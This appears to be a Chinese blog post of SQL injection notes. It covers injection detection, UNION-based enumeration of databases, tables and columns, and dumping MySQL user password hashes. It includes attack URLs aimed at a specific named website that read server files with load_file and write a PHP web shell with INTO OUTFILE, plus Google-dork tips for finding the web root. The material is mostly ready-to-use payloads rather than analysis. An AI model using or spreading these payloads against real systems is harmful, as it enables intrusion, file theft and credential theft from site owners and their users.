SQL注入

1注入类型

   1.1数字型注入

   查询方式:   select * from 表名 where 字段名=数字 

   检测漏洞:   select * from 表名 where 字段名=数字 AND 1=1

                     select * from 表名 where 字段名=数字 AND 1=2

   1.2字符型注入

   查询方式:  select * from 表名 where 字段名='字符'

   检测漏洞:  select * from 表名 where 字段名='字符' AND '1'='1'

                     select * from 表名 where 字段名='字符' AND '1'='1'     

   1.3搜索型注入

   查询方式: select * from 表名 where 字段名 like '%字符%'

   检测漏洞: select * from 表名 where 字段名 like '%字符%'and 1=1 and '%'='%'

select * from 表名 where 字段名 like '%字符%'and 1=2 and '%'='%'


判断字段数: order by 数字

select * from 表名 where 字段名=数字order by 数字

根据返回值判断返回的是哪个字段:select * from 表名 where 字段名=1 union all select 1,2,3

返回 数据库名 用户名等信息:select * from 表名 where 字段名=1 union all selectuser(),database(),3


根据数据库名得到表名(mysql5.0之后的版本可用):

select table_name from information_schema.tables where table_schema = '数据库名'

具体应用:(例子中表有三个字段)

select * from表名where字段名=1 union all select table_name,2,3 from information_schema.tables where table_schema = '数据库名'


根据表名得到字段名(mysql5.0之后的版本可用):

select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' ;

具体应用:(例子中表有三个字段):

select * from 表名 where 字段名=1 union all select column_name,2,3 from information_schema.columns where table_schema='数据库名' and table_name='表名'

参考:

version()版本 5.0.27-community-nt
database()数据库名 5hchina
user()当前用户 root 
@@version_compile_os 操作系统 win32


注意地方(获取到网站根路径)
怎么获取到网站根路径?
谷歌黑客 site:5hchina.com warning
文件报错
查看敏感文件 info.php phpinfo.php test.php
编码选择hex编码
如果不编码用''符号表示
符号的 反正型 “/”和“\”
D:\web\5hchina.com\根网站路径


root权限:
1.查看文件获取相关信息 
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,load_file('D:/web/5hchina.com/index.php'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
一般数据库链接文件:  conn.php common.php config.php


2.导入导出一句话拿shell (into outfile)
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,'aaaa',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'D:/web/5hchina.com/manage/upload/img/2.php'

或者




查询用户名密码:

select * from mysql.user ;
例子:
SELECT * FROM 表名 where 字段名=1 union all select User,Password,3 from mysql.user




  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值